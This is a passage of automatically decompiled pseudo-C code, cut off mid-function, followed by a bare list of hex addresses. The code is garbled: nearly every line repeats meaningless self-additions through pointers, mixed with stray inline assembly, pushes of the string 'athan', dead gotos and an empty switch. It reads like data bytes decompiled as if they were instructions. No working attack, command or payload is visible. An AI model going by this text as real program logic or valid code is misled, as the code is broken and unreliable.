							 *_t1259 =  *_t1259 + _t1259;
							_t1260 = _t1259 + 0x2a;
							 *_t1260 =  *_t1260 + _t1260;
							 *_t2273 =  *_t2273 + _t1937;
							_t1262 = _t1260 + 0x0000002b &  *_t2273;
							 *_t1262 =  *_t1262 + _t1262;
							_t1263 = _t1262 + 0x2a;
							_t1865 = _t1862 +  *((intOrPtr*)(_t1862 - 0x67)) +  *[es:ebx-0x66] +  *[es:ebx-0x65];
							 *_t1263 =  *_t1263 + _t1263;
							 *_t2273 =  *_t2273 + _t1937;
							_t1265 = _t1263 + 0x0000002b &  *_t2273;
							_t2321 = _t2318 +  *((intOrPtr*)(_t2340 - 0x67)) +  *((intOrPtr*)(_t2340 - 0x66)) +  *((intOrPtr*)(_t2340 - 0x65));
							 *_t1265 =  *_t1265 + _t1265;
							_t1266 = _t1265 + 0x2a;
							_t1938 = _t1937 +  *[ss:eax];
							 *_t1266 =  *_t1266 + _t1266;
							_t1267 = _t1266 |  *_t2273;
							 *((intOrPtr*)(_t2340 + 1)) =  *((intOrPtr*)(_t2340 + 1)) - _t1865;
							 *_t2339 =  *_t2339 + _t1267;
							_t1866 = _t1865 -  *_t1865;
							 *_t2273 =  *_t2273 ^ _t1267;
							 *_t1938 =  *_t1938 + _t2273;
							 *_t1267 =  *_t1267 + _t1267;
							 *_t1938 =  *_t1938 + _t1938;
							 *_t1267 =  *_t1267 + _t1267;
							asm("adc [eax], eax");
							 *_t1866 =  *_t1866 + _t1267;
							_t1268 = _t1267 - 0xb;
							_t1867 = _t1866 +  *((intOrPtr*)(_t1866 - 0x64));
							 *_t1268 =  *_t1268 + _t1268;
							 *_t1867 =  *_t1867 + 1;
							_t1272 = (_t1268 + 0x00000014 -  *_t1938 |  *_t2339) - 0xd;
							_t1868 = _t1867 +  *((intOrPtr*)(_t1867 - 0x64));
							 *_t1272 =  *_t1272 + _t1272;
							_t1273 = _t1272 + 0x6f;
							_t1939 = ss;
							 *_t1273 =  *_t1273 + _t1273;
							_t1274 = _t1273 |  *_t1273;
							 *_t1274 =  *_t1274 + _t1274;
							asm("fimul word [edx]");
							 *_t2273 =  *_t2273 + _t1274;
							_t2341 = _t2340 +  *_t1274;
							_t2274 = _t2273;
							 *_t1274 =  *_t1274 + _t1274;
							_t1275 = _t1274 |  *_t1274;
							_t3137 = _t3136 +  *_t1275;
							_t1276 = _t1275 -  *_t1275;
							 *_t1276 =  *_t1276 + _t1276;
							 *_t1276 =  *_t1276 + _t2274;
							 *_t1276 =  *_t1276 + _t1276;
							_t1277 = _t1276 +  *_t1276;
							 *_t1277 =  *_t1277 + _t1277;
							_t1278 = _t1277 & 0x00000025;
							 *_t2274 =  *_t2274 + _t1939;
							 *_t1278 =  *_t1278 + _t1278;
							 *_t1278 =  *_t1278 + _t1278;
							asm("adc esi, [eax]");
							_t1279 = _t1278 + 0x85800;
							 *0x110000 =  *0x110000 + _t1939;
							asm("rcl byte [esi], 1");
							 *_t1279 =  *_t1279 + _t1279;
							 *_t1279 =  *_t1279 + _t1279;
							_t2276 = _t2274 + 0x00000001 |  *(_t1868 + 0x5b);
							 *_t1279 =  *_t1279 + _t1279;
							_t2277 = _t2276 +  *((intOrPtr*)(_t1868 + 0x5d));
							 *_t1279 =  *_t1279 + _t1279;
							_t1942 = _t1939 +  *_t1279 |  *_t2276 | _t2321[0x17];
							 *_t1279 =  *_t1279 + _t1279;
							_push(es);
							 *_t2277 =  *_t2277 + _t1279;
							if( *_t2277 >= 0) {
								L93:
								_t2277 = _t2277 +  *((intOrPtr*)(_t1868 + 0x5f));
							} else {
								 *_t1279 =  *_t1279 + _t1279;
								_t1943 = _t1942 | _t2321[0x18];
								 *_t1279 =  *_t1279 + _t1279;
								_push(es);
								 *_t2277 =  *_t2277 + _t1279;
								if( *_t2277 >= 0) {
									_t2277 = _t2277 +  *((intOrPtr*)(_t1868 + 0x54));
								} else {
									 *_t1279 =  *_t1279 + _t1279;
									_t1944 = _t1943 | _t2321[0x18];
									 *_t1279 =  *_t1279 + _t1279;
									_push(es);
									 *_t2277 =  *_t2277 + _t1279;
									if( *_t2277 >= 0) {
										_t1945 = _t1944 + _t2321[0x1a];
										 *_t1279 =  *_t1279 + _t1279;
										_push(es);
										asm("outsd");
										 *[fs:eax] =  *[fs:eax] + _t1279;
										_t1279 = _t1279 |  *_t1279;
										goto L98;
									} else {
										 *_t1279 =  *_t1279 + _t1279;
										_t1945 = _t1944 | _t2321[0x19];
										 *_t1279 =  *_t1279 + _t1279;
										_push(es);
										 *_t2277 =  *_t2277 + _t1279;
										if( *_t2277 >= 0) {
											L98:
											_t1946 = _t1945 + _t2321[0x1b];
											 *_t1279 =  *_t1279 + _t1279;
											_push(es);
											asm("outsd");
											asm("arpl [eax], ax");
											 *_t2277 =  *_t2277 + _t1946;
											 *_t2277 =  *_t2277 + _t1279;
											goto L99;
										} else {
											 *_t1279 =  *_t1279 + _t1279;
											_t1946 = _t1945 | _t2321[0x19];
											 *_t1279 =  *_t1279 + _t1279;
											_push(es);
											 *_t2277 =  *_t2277 + _t1279;
											if( *_t2277 >= 0) {
												L99:
												_t1947 = _t1946 + _t2321[0x1b];
												goto L100;
											} else {
												 *_t1279 =  *_t1279 + _t1279;
												_t1947 = _t1946 | _t2321[0x1a];
												 *_t1279 =  *_t1279 + _t1279;
												_push(es);
												 *_t2277 =  *_t2277 + _t1279;
												if( *_t2277 >= 0) {
													L100:
													 *_t1279 =  *_t1279 + _t1279;
													_push(es);
													asm("outsd");
													asm("arpl [eax], ax");
													 *_t2277 =  *_t2277 + _t1947;
													L101:
													 *_t2277 =  *_t2277 + _t1279;
													asm("outsd");
													if( *_t2277 >= 0) {
														 *_t2339 =  *_t2339 + _t1279;
														_t2449 =  *_t2339;
													}
													_push(es);
													asm("outsd");
													asm("arpl [eax], ax");
													 *_t2277 =  *_t2277 + _t1947;
													 *_t2277 =  *_t2277 + _t1279;
													asm("outsd");
													goto L104;
												} else {
													 *_t1279 =  *_t1279 + _t1279;
													_t1947 = _t1947 | _t2321[0x1a];
													 *_t1279 =  *_t1279 + _t1279;
													_push(es);
													 *_t2277 =  *_t2277 + _t1279;
													if( *_t2277 >= 0) {
														L104:
														if(_t2449 >= 0) {
															 *_t2339 =  *_t2339 + _t1279;
														}
														_push(es);
														asm("outsd");
														 *[fs:eax] =  *[fs:eax] + _t1279;
														_t1279 = _t1279 |  *_t1279;
														_t1948 = _t1947 +  *_t1279;
														goto L107;
													} else {
														 *_t1279 =  *_t1279 + _t1279;
														_t1948 = _t1947 | _t2321[0x1b];
														 *_t1279 =  *_t1279 + _t1279;
														_push(es);
														 *_t2277 =  *_t2277 + _t1279;
														if( *_t2277 >= 0) {
															L107:
															 *[fs:eax] =  *[fs:eax] + _t1279;
															_t1280 = _t1279 |  *_t1279;
															_t1949 = _t1948 + _t2321[0x17];
															 *_t1280 =  *_t1280 + _t1280;
															 *((intOrPtr*)(_t1949 + _t1280)) =  *((intOrPtr*)(_t1949 + _t1280)) - _t1868;
															_t2344 = es;
														} else {
															 *_t1279 =  *_t1279 + _t1279;
															_t1942 = _t1948 | _t2321[0x1b];
															 *_t1279 =  *_t1279 + _t1279;
															_push(es);
															 *_t2277 =  *_t2277 + _t1279;
															goto L93;
														}
													}
												}
											}
										}
									}
								}
							}
							 *_t1280 =  *_t1280 + _t1280;
							 *_t1280 =  *_t1280 + _t1280;
							_t1281 = _t1280 |  *_t1280;
							 *_t1281 =  *_t1281 + _t1281;
							_push(es);
							asm("sbb [edi+0x6f], ch");
							 *_t1281 =  *_t1281 + _t1281;
							_t1282 = _t1281 |  *_t1281;
							_t1952 = (_t1949 | _t2321[0x17]) + _t2321[0x17] + _t2321[0x17];
							 *_t1282 =  *_t1282 + _t1282;
							while(1) {
								_push(es);
								 *(_t2339 + 1) =  *(_t2339 + 1) - _t1868;
								 *_t2277 =  *_t2277 + _t1952;
								asm("outsd");
								_t2321 =  &(_t2321[0]);
								 *_t1282 =  *_t1282 + _t1282;
								_t1283 = _t1282 |  *_t1282;
								 *_t1283 =  *_t1283 + _t1283;
								ds = es;
								_t1284 = _t1283 | 0x0000a920;
								 *(_t1868 + 0x66) =  *(_t1868 + 0x66) + _t2277;
								 *_t1284 =  *_t1284 + _t1284;
								 *_t1284 =  *_t1284 + _t1284;
								_t1279 = _t1284 |  *_t1284;
								_t1947 = (_t1952 + _t2321[0x17] | _t2321[0x19]) + _t2321[0x17];
								 *_t1279 =  *_t1279 + _t1279;
								_push(es);
								asm("sbb bl, [ebx]");
								asm("sbb bl, [ebx]");
								if( *_t1279 >= 0) {
									goto L101;
								}
								 *_t1279 =  *_t1279 + _t1279;
								 *_t1279 =  *_t1279 + _t1279;
								_t1282 = _t1279 |  *_t1279;
								_t1952 = (_t1947 | _t2321[0x17]) + _t2321[0x17];
								 *_t1282 =  *_t1282 + _t1282;
								_push(es);
								if( *_t1282 < 0) {
									L114:
									 *_t2339 =  *_t2339 + _t1282;
									_pop(ds);
									if( *_t2339 < 0) {
										L117:
										 *_t2339 =  *_t2339 + _t1282;
										if( *_t2339 < 0) {
											continue;
										} else {
											 *_t1282 =  *_t1282 | _t1282;
											_t2462 =  *_t1282;
											if(_t2462 >= 0) {
												L119:
												if (_t2462 >= 0) goto L120;
												 *_t2277 =  *_t2277 + _t1952;
												 *_t2277 =  *_t2277 + _t1282;
												asm("outsd");
												_pop(_t2339);
												 *_t1282 =  *_t1282 + _t1282;
												_push(es);
												 *_t1282 =  *_t1282 & _t1282;
												_t1285 = _t1282 +  *_t1282;
												_t2321[0x18] = _t2321[0x18] + _t1952;
												 *_t1285 =  *_t1285 + _t1285;
												_t1286 = _t1285 |  *_t1285;
												_t1956 = _t1952 + _t2321[0x17];
												 *_t1286 =  *_t1286 + _t1286;
												_push(es);
												_push(ss);
												asm("outsd");
												if ( *_t1286 < 0) goto L121;
												 *_t2277 =  *_t2277 + _t1956;
												 *_t2277 =  *_t2277 + _t1286;
												asm("outsd");
												asm("pushad");
												 *_t1286 =  *_t1286 + _t1286;
												_push(es);
												 *((intOrPtr*)(_t1956 + _t1286)) =  *((intOrPtr*)(_t1956 + _t1286)) - _t1868;
												 *_t1286 =  *_t1286 + _t1286;
												_t1282 = _t1286 |  *_t1286;
												_t1952 = (_t1956 | _t2321[0x17]) + _t2321[0x18];
												 *_t1282 =  *_t1282 + _t1282;
												goto L122;
											}
										}
									} else {
										 *_t1282 = _t1282;
										 *_t1282 =  *_t1282 + _t1282;
										if( *_t1282 >= 0) {
											goto L123;
										} else {
											 *_t1282 =  *_t1282 + _t1282;
											 *_t1282 =  *_t1282 + _t1282;
											_t1823 = _t1282 |  *_t1282;
											 *_t1823 =  *_t1823 + _t1823;
											_push(es);
											asm("sbb ebp, [edi+0x6b]");
											 *_t1823 =  *_t1823 + _t1823;
											_t1282 = _t1823 |  *_t1823;
											_t1952 = (_t1952 | _t2321[0x1a]) + _t2321[0x17] + _t2321[0x17];
											 *_t1282 =  *_t1282 + _t1282;
											goto L117;
										}
									}
								} else {
									 *_t1282 =  *_t1282 & _t1282;
									if( *_t1282 < 0) {
										L122:
										_push(es);
										asm("sbb [edi+0x6f], ch");
										 *_t1282 =  *_t1282 + _t1282;
										_t1282 = _t1282 |  *_t1282;
										_t1952 = _t1952 + _t2321[0x18];
										 *_t1282 =  *_t1282 + _t1282;
										_t2465 =  *_t1282;
										_push(es);
										L123:
										 *(_t2339 + 1) =  *(_t2339 + 1) - _t1868;
										 *_t2277 =  *_t2277 + _t1952;
										asm("outsd");
										_t2321 =  &(_t2321[0]);
										 *_t1282 =  *_t1282 + _t1282;
										_t1287 = _t1282 |  *_t1282;
										 *_t1287 =  *_t1287 + _t1287;
										ds = es;
										_t1288 = _t1287 | 0x66730b1f;
										 *_t1288 =  *_t1288 + _t1288;
										 *_t1288 =  *_t1288 + _t1288;
										_t1282 = _t1288 |  *_t1288;
										_t1952 = (_t1952 + _t2321[0x18] | _t2321[0x19]) + _t2321[0x18];
										 *_t1282 =  *_t1282 + _t1282;
										_push(es);
										asm("sbb bl, [ebx]");
									} else {
										_push("athan");
										_t1952 = _t1952 + _t2321[0x17];
										 *_t1282 =  *_t1282 + _t1282;
										goto L114;
									}
								}
								asm("sbb bl, [ebx]");
								if(_t2465 >= 0) {
									goto L119;
								}
								 *_t1282 =  *_t1282 + _t1282;
								 *_t1282 =  *_t1282 + _t1282;
								_t1289 = _t1282 |  *_t1282;
								_t1961 = (_t1952 | _t2321[0x17]) + _t2321[0x18];
								 *_t1289 =  *_t1289 + _t1289;
								_push(es);
								if( *_t1289 < 0) {
									L131:
									_push(es);
									if(_t2471 < 0) {
										goto L140;
									} else {
										 *_t1289 =  *_t1289 & _t1289;
										_t2472 =  *_t1289;
										if(_t2472 >= 0) {
											if (_t2472 >= 0) goto L134;
											 *_t2277 =  *_t2277 + _t1961;
											L135:
											_t1290 = _t1289 |  *_t1289;
											_t1963 = _t1961 + _t2321[0x18];
											 *_t1290 =  *_t1290 + _t1290;
											_push(es);
											 *_t1290 =  *_t1290 & _t1290;
											_t1291 = _t1290 +  *_t1290;
											_t2321[0x18] = _t2321[0x18] + _t1963;
											 *_t1291 =  *_t1291 + _t1291;
											_t1292 = _t1291 |  *_t1291;
											_t1964 = _t1963 + _t2321[0x18];
											 *_t1292 =  *_t1292 + _t1292;
											_push(es);
											_push(ss);
											asm("outsd");
											if ( *_t1292 < 0) goto L136;
											 *_t2277 =  *_t2277 + _t1964;
											 *_t2277 =  *_t2277 + _t1292;
											asm("outsd");
											asm("bound eax, [ecx]");
											 *_t2339 =  *_t2339 + _t1292;
											 *((intOrPtr*)(_t1964 + _t1292)) =  *((intOrPtr*)(_t1964 + _t1292)) - _t1868;
											 *_t1292 =  *_t1292 + _t1292;
											_t1289 = _t1292 |  *_t1292;
											_t1961 = (_t1964 | _t2321[0x17]) + _t2321[0x18];
											 *_t1289 =  *_t1289 + _t1289;
											goto L137;
										}
									}
								} else {
									 *_t1289 =  *_t1289 & _t1289;
									if( *_t1289 < 0) {
										L137:
										_push(es);
										asm("sbb [edi+0x6f], ch");
										 *_t1289 =  *_t1289 + _t1289;
										_t1289 = _t1289 |  *_t1289;
										_t1961 = _t1961 + _t2321[0x18];
										 *_t1289 =  *_t1289 + _t1289;
										_push(es);
										goto L138;
									} else {
										_push("athan");
										_t1961 = _t1961 + _t2321[0x18];
										 *_t1289 =  *_t1289 + _t1289;
										ds = es;
										if( *_t1289 <= 0) {
											L130:
											 *_t2339 =  *_t2339 + _t1289;
											_t2471 =  *_t2339;
											goto L131;
										} else {
											 *_t1289 = _t1289;
											 *_t1289 =  *_t1289 + _t1289;
											if( *_t1289 >= 0) {
												L138:
												 *(_t2339 + 1) =  *(_t2339 + 1) - _t1868;
												 *_t2277 =  *_t2277 + _t1961;
												L139:
												asm("outsd");
												_t2321 =  &(_t2321[0]);
												 *_t1289 =  *_t1289 + _t1289;
												_t1289 = _t1289 |  *_t1289;
												L140:
												 *_t2277 =  *_t2277 + _t1289;
												asm("outsd");
												asm("bound eax, [ecx]");
												 *_t2339 =  *_t2339 + _t1289;
												 *(_t1289 + 0x1f000000) =  *(_t1289 + 0x1f000000) & _t1289;
												_t2339 = _t2339 |  *(_t1868 + 0x66);
												 *_t1289 =  *_t1289 + _t1289;
												 *_t1289 =  *_t1289 + _t1289;
												_t1289 = _t1289 |  *_t1289;
												_t1961 = (_t1961 | _t2321[0x19]) + _t2321[0x18];
												 *_t1289 =  *_t1289 + _t1289;
												_t2479 =  *_t1289;
											} else {
												 *_t1289 =  *_t1289 + _t1289;
												 *_t1289 =  *_t1289 + _t1289;
												_t1822 = _t1289 |  *_t1289;
												 *_t1822 =  *_t1822 + _t1822;
												_push(es);
												asm("sbb ch, [edi+0x6b]");
												 *_t1822 =  *_t1822 + _t1822;
												_t1289 = _t1822 |  *_t1822;
												_t1961 = (_t1961 | _t2321[0x1a]) + _t2321[0x18] + _t2321[0x18];
												 *_t1289 =  *_t1289 + _t1289;
												goto L130;
											}
										}
									}
								}
								_push(es);
								asm("sbb bl, [ebx]");
								asm("sbb bl, [ebx]");
								if(_t2479 >= 0) {
									goto L135;
								}
								 *_t1289 =  *_t1289 + _t1289;
								 *_t1289 =  *_t1289 + _t1289;
								_t1289 = _t1289 |  *_t1289;
								_t1967 = (_t1961 | _t2321[0x17]) + _t2321[0x18];
								 *_t1289 =  *_t1289 + _t1289;
								_push(es);
								if( *_t1289 < 0) {
									L154:
									 *_t2277 =  *_t2277 + _t1289;
									asm("outsd");
									 *[fs:eax] =  *[fs:eax] + _t1289;
									goto L155;
								} else {
									 *_t1289 =  *_t1289 & _t1289;
									if( *_t1289 < 0) {
										L155:
										_push(es);
										asm("sbb [edi+0x6f], ebp");
										 *_t1289 =  *_t1289 + _t1289;
										_t1289 = _t1289 |  *_t1289;
										_t1968 = _t1967 + _t2321[0x19];
										 *_t1289 =  *_t1289 + _t1289;
										_push(es);
										goto L156;
									} else {
										_push("athan");
										_t1961 = _t1967 + _t2321[0x18];
										 *_t1289 =  *_t1289 + _t1289;
										ds = es;
										if( *_t1289 < 0) {
											L147:
											 *_t2339 =  *_t2339 + _t1289;
											if( *_t2339 < 0) {
												goto L139;
											} else {
												 *_t1289 =  *_t1289 & _t1289;
												_t2486 =  *_t1289;
												if(_t2486 >= 0) {
													if (_t2486 >= 0) goto L150;
													 *_t2277 =  *_t2277 + _t1961;
													 *_t2277 =  *_t2277 + _t1289;
													L151:
													asm("outsd");
													asm("bound eax, [ecx]");
													 *_t2339 =  *_t2339 + _t1289;
													 *_t1289 =  *_t1289 & _t1289;
													_t1294 = _t1289 +  *_t1289;
													_t2321[0x18] = _t2321[0x18] + _t1971;
													 *_t1294 =  *_t1294 + _t1294;
													_t1289 = _t1294 |  *_t1294;
													_t1972 = _t1971 + _t2321[0x18];
													 *_t1289 =  *_t1289 + _t1289;
													_push(es);
													_push(ss);
													asm("outsd");
													if ( *_t1289 < 0) goto L152;
													 *_t2277 =  *_t2277 + _t1972;
													 *_t2277 =  *_t2277 + _t1289;
													asm("outsd");
													 *[fs:eax] =  *[fs:eax] + _t1289;
													_push(es);
													 *((intOrPtr*)(_t1972 + _t1289)) =  *((intOrPtr*)(_t1972 + _t1289)) - _t1868;
													_t1967 = _t1972 | _t2321[0x17];
													 *_t1289 =  *_t1289 + _t1289;
													L153:
													 *_t2277 =  *_t2277 + _t1967;
													goto L154;
												}
											}
										} else {
											 *_t1289 = _t1289;
											 *_t1289 =  *_t1289 + _t1289;
											if( *_t1289 >= 0) {
												L156:
												 *(_t2339 + 1) =  *(_t2339 + 1) - _t1868;
												 *_t2277 =  *_t2277 + _t1968;
												asm("outsd");
												_t2321 =  &(_t2321[0]);
												 *_t1289 =  *_t1289 + _t1289;
												_t1293 = _t1289 |  *_t1289;
												 *_t1293 =  *_t1293 + _t1293;
												_push(es);
												 *(_t1293 + 0x20000000) =  *(_t1293 + 0x20000000) & _t1293;
												asm("o16 add [eax], al");
												 *_t1293 =  *_t1293 + _t1293;
												_t1289 = _t1293 |  *_t1293;
												_t1971 = (_t1968 + _t2321[0x19] | _t2321[0x19]) + _t2321[0x19];
												_t2494 = _t1971;
											} else {
												 *_t1289 =  *_t1289 + _t1289;
												 *_t1289 =  *_t1289 + _t1289;
												_t1821 = _t1289 |  *_t1289;
												 *_t1821 =  *_t1821 + _t1821;
												_push(es);
												asm("sbb [edi+0x6b], ebp");
												 *_t1821 =  *_t1821 + _t1821;
												_t1289 = _t1821 |  *_t1821;
												_t1961 = (_t1961 | _t2321[0x1a]) + _t2321[0x18] + _t2321[0x18];
												 *_t1289 =  *_t1289 + _t1289;
												goto L147;
											}
										}
									}
								}
								 *[fs:eax] =  *[fs:eax] + _t1289;
								_push(es);
								asm("sbb bl, [ebx]");
								asm("sbb bl, [ebx]");
								while(_t2494 < 0) {
									 *_t1289 =  *_t1289 + _t1289;
									 *_t1289 =  *_t1289 + _t1289;
									_t1289 = _t1289 |  *_t1289;
									_t1967 = (_t1971 | _t2321[0x17]) + _t2321[0x19];
									 *_t1289 =  *_t1289 + _t1289;
									_push(es);
									if( *_t1289 < 0) {
										goto L153;
									}
									 *_t1289 =  *_t1289 & _t1289;
									if( *_t1289 < 0) {
										L170:
										 *((intOrPtr*)(_t1868 + _t2339)) =  *((intOrPtr*)(_t1868 + _t2339)) + _t1289;
										_t1289 = _t1289 |  *_t1289;
										_t1974 = _t1967 + _t2321[0x19];
										 *_t1289 =  *_t1289 + _t1289;
										_push(es);
										if( *_t1289 < 0) {
											goto L168;
										}
										 *_t1289 =  *_t1289 & _t1289;
										goto L172;
									} else {
										_push("athan");
										_t1971 = _t1967 + _t2321[0x19];
										 *_t1289 =  *_t1289 + _t1289;
										ds = es;
										if( *_t1289 < 0) {
											L164:
											 *_t2339 =  *_t2339 + _t1289;
											if( *_t2339 < 0) {
												continue;
											} else {
												 *_t1289 =  *_t1289 & _t1289;
												_t2501 =  *_t1289;
												if(_t2501 < 0) {
													L176:
													_t1289 = _t1289 |  *_t1289;
													_t1976 = _t1978 + _t2321[0x19];
													 *_t1289 =  *_t1289 + _t1289;
													_t2510 =  *_t1289;
													_push(es);
												} else {
													if (_t2501 >= 0) goto L167;
													 *_t2277 =  *_t2277 + _t1971;
													 *_t2277 =  *_t2277 + _t1289;
													asm("outsd");
													 *[fs:eax] =  *[fs:eax] + _t1289;
													_push(es);
													L168:
													 *_t1289 =  *_t1289 & _t1289;
													_t1295 = _t1289 +  *_t1289;
													_t2321[0x18] = _t2321[0x18] + _t1974;
													 *_t1295 =  *_t1295 + _t1295;
													_t1289 = _t1295 |  *_t1295;
													_t1975 = _t1974 + _t2321[0x19];
													 *_t1289 =  *_t1289 + _t1289;
													_push(es);
													_push(ss);
													asm("outsd");
													if ( *_t1289 < 0) goto L169;
													 *_t2277 =  *_t2277 + _t1975;
													 *_t2277 =  *_t2277 + _t1289;
													asm("outsd");
													 *_t1289 =  *_t1289 + _t1289;
													_push(es);
													 *(_t2277 + 0x20000000) =  *(_t2277 + 0x20000000) & _t1289;
													_t2339 = _t2339 + 1;
													 *_t1289 =  *_t1289 + _t1289;
													 *(_t1868 + 0x66) =  *(_t1868 + 0x66) + _t2277;
													 *_t1289 =  *_t1289 + _t1289;
													_t1967 = _t1975 | _t2321[0x19];
													goto L170;
												}
											}
										} else {
											 *_t1289 = _t1289;
											 *_t1289 =  *_t1289 + _t1289;
											if( *_t1289 >= 0) {
												L172:
												 *((intOrPtr*)(_t1289 + 0x6f)) =  *((intOrPtr*)(_t1289 + 0x6f)) + _t2277;
											} else {
												 *_t1289 =  *_t1289 + _t1289;
												 *_t1289 =  *_t1289 + _t1289;
												_t1819 = _t1289 |  *_t1289;
												 *_t1819 =  *_t1819 + _t1819;
												_push(es);
												asm("sbb al, 0x6f");
												_t1289 =  *_t1819 * 0x00000000 |  *( *_t1819 * 0);
												_t1971 = (_t1971 | _t2321[0x1a]) + _t2321[0x19] + _t2321[0x19];
												 *_t1289 =  *_t1289 + _t1289;
												goto L164;
											}
										}
									}
									L177:
									if(_t2510 < 0) {
										ds = es;
										if(_t2508 == 0) {
											_t2339 = _t2339 &  *(_t1868 + 0x69);
											 *_t1289 =  *_t1289 + _t1289;
											 *_t1289 =  *_t1289 + _t1289;
											_t1296 = _t1289 |  *_t1289;
											_t1978 = (_t1976 | _t2321[0x1a]) + _t2321[0x19];
											 *_t1296 =  *_t1296 + _t1296;
											_push(es);
											_push(ds);
											asm("outsd");
											_t1289 =  *_t1296 * 0;
											goto L176;
										}
										goto L177;
									}
									 *_t1289 =  *_t1289 & _t1289;
									_t2511 =  *_t1289;
									if(_t2511 < 0) {
										asm("outsd");
										_push(0x17060001);
										asm("outsd");
										if (_t2518 < 0) goto L191;
										 *_t2277 =  *_t2277 + _t1976;
										 *_t2277 =  *_t2277 + _t1289;
										asm("outsd");
										_push(1);
										 *_t2339 =  *_t2339 + _t1289;
										asm("outsd");
										 *_t1289 = _t1289;
										 *_t2277 =  *_t2277 + _t1976;
										_t1979 = _t1976 + _t2321[0x17];
										 *_t1289 =  *_t1289 + _t1289;
										_push(es);
										asm("outsd");
										 *_t1289 = _t1289;
										 *_t2277 =  *_t2277 + _t1979;
										 *_t2277 =  *_t2277 + _t1289;
										asm("outsd");
										_push(1);
										 *_t2339 =  *_t2339 + _t1289;
										asm("outsd");
										 *_t1289 = _t1289;
										 *_t2277 =  *_t2277 + _t1979;
										_t1980 = _t1979 + _t2321[0x19];
										 *_t1289 =  *_t1289 + _t1289;
										_push(es);
										asm("outsd");
										 *_t1289 = _t1289;
									} else {
										if (_t2511 >= 0) goto L180;
										 *_t2277 =  *_t2277 + _t1976;
										 *_t2277 =  *_t2277 + _t1289;
										asm("outsd");
										 *_t1289 =  *_t1289 + _t1289;
										ss = es;
										asm("outsd");
										if ( *_t1289 < 0) goto L181;
										 *_t2277 =  *_t2277 + _t1976;
										 *_t2277 =  *_t2277 + _t1289;
										asm("outsd");
										_push(0x1f060001);
										do {
											ds = es;
											_t1817 = _t1289 | 0x00014620;
											 *(_t1868 + 0x66) =  *(_t1868 + 0x66) + _t2277;
											 *_t1817 =  *_t1817 + _t1817;
											 *_t1817 =  *_t1817 + _t1817;
											_t1289 = _t1817 |  *_t1817;
											_t1976 = (_t1976 | _t2321[0x19]) + _t2321[0x1a];
											 *_t1289 =  *_t1289 + _t1289;
											_push(es);
										} while ( *_t1289 < 0);
										 *_t1289 =  *_t1289 & _t1289;
										if( *_t1289 >= 0) {
											_push("athan");
											_t1976 = _t1976 + _t2321[0x1a];
											_t2516 = _t1976;
											asm("outsd");
											_push(0x1f060001);
											if(_t2516 >= 0) {
												_t2339 = _t2339 &  *(_t1868 + 0x69);
												 *_t1289 =  *_t1289 + _t1289;
												 *_t1289 =  *_t1289 + _t1289;
												_t1818 = _t1289 |  *_t1289;
												 *_t1818 =  *_t1818 + _t1818;
												_push(es);
												asm("sbb eax, 0x6b6f");
												_t1289 = _t1818 |  *_t1818;
												_t1976 = (_t1976 | _t2321[0x1a]) + _t2321[0x1a] + _t2321[0x1a];
												 *_t1289 =  *_t1289 + _t1289;
												_t2517 =  *_t1289;
												_push(es);
											}
											if (_t2517 < 0) goto L188;
											goto L188;
											 *_t1289 =  *_t1289 & _t1289;
											_t2518 =  *_t1289;
											L188:
											switch( *__eax) {
											}
										}
									}
									 *_t1289 =  *_t1289 + _t1289;
									_t1297 = _t1289 |  *_t1289;
									_t1981 = _t1980 + _t2321[0x1a];
									 *_t1297 =  *_t1297 + _t1297;
									do {
										 *_t2339 =  *_t2339 + _t1297;
										asm("outsd");
										 *_t1297 = _t1297;
										 *_t2277 =  *_t2277 + _t1981;
										_t1982 = _t1981 + _t2321[0x18];
										 *_t1297 =  *_t1297 + _t1297;
										_push(es);
										asm("outsd");
										 *_t1297 = _t1297;
										 *_t2277 =  *_t2277 + _t1982;
										 *_t2277 =  *_t2277 + _t1297;
										asm("outsd");
										_push(1);
										 *_t2339 =  *_t2339 + _t1297;
										asm("outsd");
										 *_t1297 = _t1297;
										 *_t2277 =  *_t2277 + _t1982;
										_t1983 = _t1982 + _t2321[0x1a];
										 *_t1297 =  *_t1297 + _t1297;
										_push(es);
										asm("outsd");
										 *_t1297 = _t1297;
										 *_t2277 =  *_t2277 + _t1983;
										 *_t2277 =  *_t2277 + _t1297;
										asm("outsd");
										_push(1);
										 *_t2339 =  *_t2339 + _t1297;
										asm("outsd");
										 *_t1297 = _t1297;
										 *_t2277 =  *_t2277 + _t1983;
										_t1984 = _t1983 + _t2321[0x18];
										 *_t1297 =  *_t1297 + _t1297;
										_push(es);
										asm("outsd");
										 *_t1297 = _t1297;
										 *_t2277 =  *_t2277 + _t1984;
										 *_t2277 =  *_t2277 + _t1297;
										asm("outsd");
										_push(1);
										 *_t2339 =  *_t2339 + _t1297;
										asm("outsd");
										 *_t1297 = _t1297;
										 *_t2277 =  *_t2277 + _t1984;
										_t1985 = _t1984 + _t2321[0x19];
										 *_t1297 =  *_t1297 + _t1297;
										_push(es);
										asm("outsd");
										 *_t1297 = _t1297;
										 *_t2277 =  *_t2277 + _t1985;
										 *_t2277 =  *_t2277 + _t1297;
										asm("outsd");
										 *_t2339 =  *_t2339 + _t1297;
										ds = 1;
										_t1868 = _t1868 |  *_t2321;
										asm("arpl [ebx+0x66], si");
										 *_t1297 =  *_t1297 + _t1297;
										 *_t1297 =  *_t1297 + _t1297;
										_t1297 = _t1297 |  *_t1297;
										_t1981 = (_t1985 | _t2321[0x19]) + _t2321[0x1a];
										 *_t1297 =  *_t1297 + _t1297;
										_push(es);
									} while ( *_t1297 < 0);
									_pop(ds);
									 *((intOrPtr*)(_t1297 + 0x6f)) =  *((intOrPtr*)(_t1297 + 0x6f)) + _t2277;
									_push("athan");
									_t1987 = _t1981 + _t2321[0x1a];
									 *_t1297 =  *_t1297 + _t1297;
									_push(es);
									 *0x20000001 =  *0x20000001 & _t1987;
									if( *0x20000001 > 0) {
										 *_t1297 =  *_t1297 + _t1297;
									}
									 *(_t1868 + 0x69) =  *(_t1868 + 0x69) + _t2277;
								}
								goto L151;
							}
							goto L101;
						}
					}
				}
			}

0x00dda6bd
0x00dda6bd
0x00dda6bd
0x00dda6bd
0x00dda6bd
0x00dda6c0
0x00dda6c2
0x00dda6c4
0x00dda6c7
0x00dda6c9
0x00dda6ca
0x00dda738
0x00dda738
0x00dda739
0x00dda73a
0x00dda73d
0x00000000
0x00dda6cc
0x00dda6cc
0x00dda6ce
0x00dda73f
0x00dda73f
0x00dda740
0x00dda743
0x00dda748
0x00dda74a
0x00dda74c
0x00000000
0x00dda6d0
0x00dda6d0
0x00dda6d8
0x00dda6da
0x00dda6db
0x00dda6dd
0x00dda6df
0x00dda6e1
